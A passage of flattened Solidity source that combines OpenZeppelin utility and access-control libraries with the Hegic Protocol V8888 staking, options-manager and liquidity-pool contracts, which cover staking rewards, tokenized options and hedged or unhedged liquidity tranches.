returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../Interfaces/Interfaces.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Staking Contract * @notice The contract that stakes the HEGIC tokens through * buying the microlots (any amount of HEGIC tokens per microlot) * and the staking lots (888,000 HEGIC per lot), accumulates the staking * rewards (settlement fees) and distributes the staking rewards among * the microlots and staking lots holders (should be claimed manually). **/ contract HegicStaking is ERC20, IHegicStaking { using SafeERC20 for IERC20; IERC20 public immutable HEGIC; IERC20 public immutable token; uint256 public constant STAKING_LOT_PRICE = 888_000e18; uint256 internal constant ACCURACY = 1e30; uint256 internal realisedBalance; uint256 public microLotsTotal = 0; mapping(address => uint256) public microBalance; uint256 public totalProfit = 0; mapping(address => uint256) internal lastProfit; uint256 public microLotsProfits = 0; mapping(address => uint256) internal lastMicroLotProfits; mapping(address => uint256) internal savedProfit; uint256 public classicLockupPeriod = 1 days; uint256 public microLockupPeriod = 1 days; mapping(address => uint256) public lastBoughtTimestamp; mapping(address => uint256) public lastMicroBoughtTimestamp; mapping(address => bool) public _revertTransfersInLockUpPeriod; constructor( ERC20 _hegic, ERC20 _token, string memory name, string memory short ) ERC20(name, short) { HEGIC = _hegic; token = _token; } function decimals() public pure override returns (uint8) { return 0; } /** * @notice Used by the HEGIC microlots holders * or staking lots holders for claiming * the accumulated staking rewards. **/ function claimProfits(address account) external override returns (uint256 profit) { saveProfits(account); profit = savedProfit[account]; require(profit > 0, "Zero profit"); savedProfit[account] = 0; realisedBalance -= profit; token.safeTransfer(account, profit); emit Claim(account, profit); } /** * @notice Used for staking any amount of the HEGIC tokens * higher than zero in the form of buying the microlot * for receiving a pro rata share of 20% of the total staking * rewards (settlement fees) generated by the protocol. **/ function buyMicroLot(uint256 amount) external { require(amount > 0, "Amount is zero"); saveProfits(msg.sender); lastMicroBoughtTimestamp[msg.sender] = block.timestamp; microLotsTotal += amount; microBalance[msg.sender] += amount; HEGIC.safeTransferFrom(msg.sender, address(this), amount); emit MicroLotsAcquired(msg.sender, amount); } /** * @notice Used for unstaking the HEGIC tokens * in the form of selling the microlot. **/ function sellMicroLot(uint256 amount) external { require(amount > 0, "Amount is zero"); require( lastMicroBoughtTimestamp[msg.sender] + microLockupPeriod < block.timestamp, "The action is suspended due to the lockup" ); saveProfits(msg.sender); microLotsTotal -= amount; microBalance[msg.sender] -= amount; HEGIC.safeTransfer(msg.sender, amount); emit MicroLotsSold(msg.sender, amount); } /** * @notice Used for staking the fixed amount of 888,000 HEGIC * tokens in the form of buying the staking lot (transferrable) * for receiving a pro rata share of 80% of the total staking * rewards (settlement fees) generated by the protocol. **/ function buyStakingLot(uint256 amount) external override { lastBoughtTimestamp[msg.sender] = block.timestamp; require(amount > 0, "Amount is zero"); _mint(msg.sender, amount); HEGIC.safeTransferFrom( msg.sender, address(this), amount * STAKING_LOT_PRICE ); } /** * @notice Used for unstaking 888,000 HEGIC * tokens in the form of selling the staking lot. **/ function sellStakingLot(uint256 amount) external override lockupFree { _burn(msg.sender, amount); HEGIC.safeTransfer(msg.sender, amount * STAKING_LOT_PRICE); } function revertTransfersInLockUpPeriod(bool value) external { _revertTransfersInLockUpPeriod[msg.sender] = value; } /** * @notice Returns the amount of unclaimed staking rewards. **/ function profitOf(address account) external view override returns (uint256) { (uint256 profit, uint256 micro) = getUnsavedProfits(account); return savedProfit[account] + profit + micro; } /** * @notice Used for calculating the amount of accumulated * staking rewards before the share of the staking participant * changes higher (buying more microlots or staking lots) * or lower (selling more microlots or staking lots). **/ function getUnsavedProfits(address account) internal view returns (uint256 total, uint256 micro) { total = ((totalProfit - lastProfit[account]) * balanceOf(account)) / ACCURACY; micro = ((microLotsProfits - lastMicroLotProfits[account]) * microBalance[account]) / ACCURACY; } /** * @notice Used for saving the amount of accumulated * staking rewards before the staking participant's share * changes higher (buying more microlots or staking lots) * or lower (selling more microlots or staking lots). **/ function saveProfits(address account) internal { (uint256 unsaved, uint256 micro) = getUnsavedProfits(account); lastProfit[account] = totalProfit; lastMicroLotProfits[account] = microLotsProfits; savedProfit[account] += unsaved; savedProfit[account] += micro; } function _beforeTokenTransfer( address from, address to, uint256 ) internal override { if (from != address(0)) saveProfits(from); if (to != address(0)) saveProfits(to); if ( lastBoughtTimestamp[from] + classicLockupPeriod > block.timestamp && lastBoughtTimestamp[from] > lastBoughtTimestamp[to] ) { require( !_revertTransfersInLockUpPeriod[to], "The recipient does not agree to accept the locked funds" ); lastBoughtTimestamp[to] = lastBoughtTimestamp[from]; } } /** * @notice Used for distributing the staking rewards * among the microlots and staking lots holders. **/ function distributeUnrealizedRewards() external override { uint256 amount = token.balanceOf(address(this)) - realisedBalance; realisedBalance += amount; uint256 _totalSupply = totalSupply(); if (microLotsTotal + _totalSupply > 0) { if (microLotsTotal == 0) { totalProfit += (amount * ACCURACY) / _totalSupply; } else if (_totalSupply == 0) { microLotsProfits += (amount * ACCURACY) / microLotsTotal; } else { uint256 microAmount = amount / 5; uint256 baseAmount = amount - microAmount; microLotsProfits += (microAmount * ACCURACY) / microLotsTotal; totalProfit += (baseAmount * ACCURACY) / _totalSupply; } emit Profit(amount); } } modifier lockupFree { require( lastBoughtTimestamp[msg.sender] + classicLockupPeriod <= block.timestamp, "The action is suspended due to the lockup" ); _; } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "../Interfaces/IOptionsManager.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Options Manager Contract * @notice The contract that buys the options contracts for the options holders * as well as checks whether the contract that is used for buying/exercising * options has been been granted with the permission to do it on the user's behalf. **/ contract OptionsManager is IOptionsManager, ERC721("Hegic V8888 Options (Tokenized)", "HOT8888"), AccessControl { bytes32 public constant HEGIC_POOL_ROLE = keccak256("HEGIC_POOL_ROLE"); uint256 public nextTokenId = 0; mapping(uint256 => address) public override tokenPool; constructor() { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** * @dev See EIP-165: ERC-165 Standard Interface Detection * https://eips.ethereum.org/EIPS/eip-165 **/ function createOptionFor(address holder) public override onlyRole(HEGIC_POOL_ROLE) returns (uint256 id) { id = nextTokenId++; tokenPool[id] = msg.sender; _safeMint(holder, id); } /** * @dev See EIP-165: ERC-165 Standard Interface Detection * https://eips.ethereum.org/EIPS/eip-165 **/ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl, IERC165) returns (bool) { return interfaceId == type(IOptionsManager).interfaceId || AccessControl.supportsInterface(interfaceId) || ERC721.supportsInterface(interfaceId); } /** * @notice Used for checking whether the user has approved * the contract to buy/exercise the options on her behalf. * @param spender The address of the contract * that is used for exercising the options * @param tokenId The ERC721 token ID that is linked to the option **/ function isApprovedOrOwner(address spender, uint256 tokenId) external view virtual override returns (bool) { address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "../Interfaces/Interfaces.sol"; import "../Interfaces/IOptionsManager.sol"; import "../Interfaces/Interfaces.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Main Pool Contract * @notice One of the main contracts that manages the pools and the options parameters, * accumulates the funds from the liquidity providers and makes the withdrawals for them, * sells the options contracts to the options buyers and collateralizes them, * exercises the ITM (in-the-money) options with the unrealized P&L and settles them, * unlocks the expired options and distributes the premiums among the liquidity providers. **/ abstract contract HegicPool is IHegicPool, ERC721, AccessControl, ReentrancyGuard { using SafeERC20 for IERC20; uint256 public constant INITIAL_RATE = 1e20; IOptionsManager public immutable optionsManager; AggregatorV3Interface public immutable priceProvider; IPriceCalculator public override pricer; uint256 public lockupPeriodForHedgedTranches = 60 days; uint256 public lockupPeriodForUnhedgedTranches = 30 days; uint256 public hedgeFeeRate = 80; uint256 public maxUtilizationRate = 80; uint256 public collateralizationRatio = 50; uint256 public override lockedAmount; uint256 public maxDepositAmount = type(uint256).max; uint256 public maxHedgedDepositAmount = type(uint256).max; uint256 public unhedgedShare = 0; uint256 public hedgedShare = 0; uint256 public override unhedgedBalance = 0; uint256 public override hedgedBalance = 0; IHegicStaking public settlementFeeRecipient; address public hedgePool; Tranche[] public override tranches; mapping(uint256 => Option) public override options; IERC20 public override token; constructor( IERC20 _token, string memory name, string memory symbol, IOptionsManager manager, IPriceCalculator _pricer, IHegicStaking _settlementFeeRecipient, AggregatorV3Interface _priceProvider ) ERC721(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); priceProvider = _priceProvider; settlementFeeRecipient = _settlementFeeRecipient; pricer = _pricer; token = _token; hedgePool = _msgSender(); optionsManager = manager; } /** * @notice Used for setting the liquidity lock-up periods during which * the liquidity providers who deposited the funds into the pools contracts * won't be able to withdraw them. Note that different lock-ups could * be set for the hedged and unhedged — classic — liquidity tranches. * @param hedgedValue Hedged liquidity tranches lock-up in seconds * @param unhedgedValue Unhedged (classic) liquidity tranches lock-up in seconds **/ function setLockupPeriod(uint256 hedgedValue, uint256 unhedgedValue) external override onlyRole(DEFAULT_ADMIN_ROLE) { require( hedgedValue <= 60 days, "The lockup period for hedged tranches is too long" ); require( unhedgedValue <= 30 days, "The lockup period for unhedged tranches is too long" ); lockupPeriodForHedgedTranches = hedgedValue; lockupPeriodForUnhedgedTranches = unhedgedValue; } /** * @notice Used for setting the total maximum amount * that could be deposited into the pools contracts. * Note that different total maximum amounts could be set * for the hedged and unhedged — classic — liquidity tranches. * @param total Maximum amount of assets in the pool * in hedged and unhedged (classic) liquidity tranches combined * @param hedged Maximum amount of assets in the pool * in hedged liquidity tranches only **/ function setMaxDepositAmount(uint256 total, uint256 hedged) external onlyRole(DEFAULT_ADMIN_ROLE) { require( total >= hedged, "Pool Error: The total amount shouldn't be lower than the hedged amount" ); maxDepositAmount = total; maxHedgedDepositAmount = hedged; } /** * @notice Used for setting the maximum share of the pool * size that could be utilized as a collateral in the options. * * Example: if `MaxUtilizationRate` = 50, then only 50% * of liquidity on the pools contracts would be used for * collateralizing options while 50% will be sitting idle * available for withdrawals by the liquidity providers. * @param value The utilization ratio in a range of 50% — 100% **/ function setMaxUtilizationRate(uint256 value) external onlyRole(DEFAULT_ADMIN_ROLE) { require( 50 <= value && value <= 100, "Pool error: Wrong utilization rate limitation value" ); maxUtilizationRate = value; } /** * @notice Used for setting the collateralization ratio for the option * collateral size that will be locked at the moment of buying them. * * Example: if `CollateralizationRatio` = 50, then 50% of an option's * notional size will be locked in the pools at the moment of buying it: * say, 1 ETH call option will be collateralized with 0.5 ETH (50%). * Note that if an option holder's net P&L USD value (as options * are cash-settled) will exceed the amount of the collateral locked * in the option, she will receive the required amount at the moment * of exercising the option using the pool's unutilized (unlocked) funds. * @param value The collateralization ratio in a range of 30% — 100% **/ function setCollateralizationRatio(uint256 value) external onlyRole(DEFAULT_ADMIN_ROLE) { require( 30 <= value && value <= 100, "Pool Error: Wrong collateralization ratio value" ); collateralizationRatio = value; } /** * @dev See EIP-165: ERC-165 Standard Interface Detection * https://eips.ethereum.org/EIPS/eip-165. **/ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl, IERC165) returns (bool) { return interfaceId == type(IHegicPool).interfaceId || AccessControl.supportsInterface(interfaceId) || ERC721.supportsInterface(interfaceId); } /** * @notice Used for changing the hedging pool address * that will be accumulating the hedging premiums paid * as a share of the total premium redirected to this address. * @param value The address for receiving hedging premiums **/ function setHedgePool(address value) external override onlyRole(DEFAULT_ADMIN_ROLE) { require(value != address(0)); hedgePool = value; } /** * @notice Used for selling the options contracts * with the parameters chosen by the option buyer * such as the period of holding, option size (amount), * strike price and the premium to be paid for the option. * @param holder The option buyer address * @param period The option period * @param amount The option size * @param strike The option strike * @return id ID of ERC721 token linked to the option **/ function sellOption( address holder, uint256 period, uint256 amount, uint256 strike ) external override returns (uint256 id) { if (strike == 0) strike = _currentPrice(); uint256 balance = totalBalance(); uint256 amountToBeLocked = _calculateLockedAmount(amount); require(period >= 1 days, "Pool Error: The period is too short"); require(period <= 90 days, "Pool Error: The period is too long"); require( (lockedAmount + amountToBeLocked) * 100 <= balance * maxUtilizationRate, "Pool Error: The amount is too large" ); (uint256 settlementFee, uint256 premium) = _calculateTotalPremium(period, amount, strike); uint256 hedgedPremiumTotal = (premium * hedgedBalance) / balance; uint256 hedgeFee = (hedgedPremiumTotal * hedgeFeeRate) / 100; uint256 hedgePremium = hedgedPremiumTotal - hedgeFee; uint256 unhedgePremium = premium - hedgedPremiumTotal; lockedAmount += amountToBeLocked; id = optionsManager.createOptionFor(holder); options[id] = Option( OptionState.Active, strike, amount, amountToBeLocked, block.timestamp + period, hedgePremium, unhedgePremium ); token.safeTransferFrom( _msgSender(), address(this), premium + settlementFee ); token.safeTransfer(address(settlementFeeRecipient), settlementFee); settlementFeeRecipient.distributeUnrealizedRewards(); if (hedgeFee > 0) token.safeTransfer(hedgePool, hedgeFee); emit Acquired(id, settlementFee, premium); } /** * @notice Used for setting the price calculator * contract that will be used for pricing the options. * @param pc A new price calculator contract address **/ function setPriceCalculator(IPriceCalculator pc) public onlyRole(DEFAULT_ADMIN_ROLE) { pricer = pc; } /** * @notice Used for exercising the ITM (in-the-money) * options contracts in case of having the unrealized profits * accrued during the period of holding the option contract. * @param id ID of ERC721 token linked to the option **/ function exercise(uint256 id) external override { Option storage option = options[id]; uint256 profit = _profitOf(option); require( optionsManager.isApprovedOrOwner(_msgSender(), id), "Pool Error: msg.sender can't exercise this option" ); require( option.expired > block.timestamp, "Pool Error: The option has already expired" ); require( profit > 0, "Pool Error: There are no unrealized profits for this option" ); _unlock(option); option.state = OptionState.Exercised; _send(optionsManager.ownerOf(id), profit); emit Exercised(id, profit); } function _send(address to, uint256 transferAmount) private { require(to != address(0)); uint256 hedgeLoss = (transferAmount * hedgedBalance) / totalBalance(); uint256 unhedgeLoss = transferAmount - hedgeLoss; hedgedBalance -= hedgeLoss; unhedgedBalance -= unhedgeLoss; token.safeTransfer(to, transferAmount); } /** * @notice Used for unlocking the expired OTM (out-of-the-money) * options contracts in case if there was no unrealized P&L * accrued during the period of holding a particular option. * Note that the `unlock` function releases the liquidity that * was locked in the option when it was active and the premiums * that are distributed pro rata among the liquidity providers. * @param id ID of ERC721 token linked to the option **/ function unlock(uint256 id) external override { Option storage option = options[id]; require( option.expired < block.timestamp, "Pool Error: The option has not expired yet" ); _unlock(option); option.state = OptionState.Expired; emit Expired(id); } function _unlock(Option storage option) internal { require( option.state == OptionState.Active, "Pool Error: The option with such an ID has already been exercised or expired" ); lockedAmount -= option.lockedAmount; hedgedBalance += option.hedgePremium; unhedgedBalance += option.unhedgePremium; } function _calculateLockedAmount(uint256 amount) internal virtual returns (uint256) { return (amount * collateralizationRatio) / 100; } /** * @notice Used for depositing the funds into the pool * and minting the liquidity tranche ERC721 token * which represents the liquidity provider's share * in the pool and her unrealized P&L for this tranche. * @param account The liquidity provider's address * @param amount The size of the liquidity tranche * @param hedged The type of the liquidity tranche * @param minShare The minimum share in the pool for the user **/ function provideFrom( address account, uint256 amount, bool hedged, uint256 minShare ) external override nonReentrant returns (uint256 share) { uint256 totalShare = hedged ? hedgedShare : unhedgedShare; uint256 balance = hedged ? hedgedBalance : unhedgedBalance; share = totalShare > 0 && balance > 0 ? (amount * totalShare) / balance : amount * INITIAL_RATE; uint256 limit = hedged ? maxHedgedDepositAmount - hedgedBalance : maxDepositAmount - hedgedBalance - unhedgedBalance; require(share >= minShare, "Pool Error: The mint limit is too large"); require(share > 0, "Pool Error: The amount is too small"); require( amount <= limit, "Pool Error: Depositing into the pool is not available" ); if (hedged) { hedgedShare += share; hedgedBalance += amount; } else { unhedgedShare += share; unhedgedBalance += amount; } uint256 trancheID = tranches.length; tranches.push( Tranche(TrancheState.Open, share, amount, block.timestamp, hedged) ); _safeMint(account, trancheID); token.safeTransferFrom(_msgSender(), address(this), amount); } /** * @notice Used for withdrawing the funds from the pool * plus the net positive P&L earned or * minus the net negative P&L lost on * providing liquidity and selling options. * @param trancheID The liquidity tranche ID * @return amount The amount received after the withdrawal **/ function withdraw(uint256 trancheID) external override nonReentrant returns (uint256 amount) { address owner = ownerOf(trancheID); Tranche memory t = tranches[trancheID]; amount = _withdraw(owner, trancheID); if (t.hedged && amount < t.amount) { token.safeTransferFrom(hedgePool, owner, t.amount - amount); amount = t.amount; } emit Withdrawn(owner, trancheID, amount); } /** * @notice Used for withdrawing the funds from the pool * by the hedged liquidity tranches providers * in case of an urgent need to withdraw the liquidity * without receiving the loss compensation from * the hedging pool: the net difference between * the amount deposited and the withdrawal amount. * @param trancheID ID of liquidity tranche * @return amount The amount received after the withdrawal **/ function withdrawWithoutHedge(uint256 trancheID) external override nonReentrant returns (uint256 amount) { address owner = ownerOf(trancheID); amount = _withdraw(owner, trancheID); emit Withdrawn(owner, trancheID, amount); } function _withdraw(address owner, uint256 trancheID) internal returns (uint256 amount) { Tranche storage t = tranches[trancheID]; uint256 lockupPeriod = t.hedged ? lockupPeriodForHedgedTranches : lockupPeriodForUnhedgedTranches; require(t.state == TrancheState.Open); require(_isApprovedOrOwner(_msgSender(), trancheID)); require( block.timestamp > t.creationTimestamp + lockupPeriod, "Pool Error: The withdrawal is locked up" ); t.state = TrancheState.Closed; if (t.hedged) { amount = (t.share * hedgedBalance) / hedgedShare; hedgedShare -= t.share; hedgedBalance -= amount; } else { amount = (t.share * unhedgedBalance) / unhedgedShare; unhedgedShare -= t.share; unhedgedBalance -= amount; } token.safeTransfer(owner, amount); } /** * @return balance Returns the amount of liquidity available for withdrawing **/ function availableBalance() public view returns (uint256 balance) { return totalBalance() - lockedAmount; } /** * @return balance Returns the total balance of liquidity provided to the pool **/ function totalBalance() public view override returns (uint256 balance) { return hedgedBalance + unhedgedBalance; } function _beforeTokenTransfer( address, address, uint256 id ) internal view override { require( tranches[id].state == TrancheState.Open, "Pool Error: The closed tranches can not be transferred" ); } /** * @notice Returns the amount of unrealized P&L of the option * that could be received by the option holder in case * if she exercises it as an ITM (in-the-money) option. * @param id ID of ERC721 token linked to the option **/ function profitOf(uint256 id) external view returns (uint256) { return _profitOf(options[id]); } function _profitOf(Option memory option) internal view virtual returns (uint256 amount); /** * @notice Used for calculating the `TotalPremium` * for the particular option with regards to * the parameters chosen by the option buyer * such as the period of holding, size (amount) * and strike price. * @param period The period of holding the option * @param period The size of the option **/ function calculateTotalPremium( uint256 period, uint256 amount, uint256 strike ) external view override returns (uint256 settlementFee, uint256 premium) { return _calculateTotalPremium(period, amount, strike); } function _calculateTotalPremium( uint256 period, uint256 amount, uint256 strike ) internal view virtual returns (uint256 settlementFee, uint256 premium) { (settlementFee, premium) = pricer.calculateTotalPremium( period, amount, strike ); require( settlementFee + premium > amount / 1000, "HegicPool: The option's price is too low" ); } /** * @notice Used for changing the `settlementFeeRecipient` * contract address for distributing the settlement fees * (staking rewards) among the staking participants. * @param recipient New staking contract address **/ function setSettlementFeeRecipient(IHegicStaking recipient) external onlyRole(DEFAULT_ADMIN_ROLE) { require(address(recipient) != address(0)); settlementFeeRecipient = recipient; } function _currentPrice() internal view returns (uint256 price) { (, int256 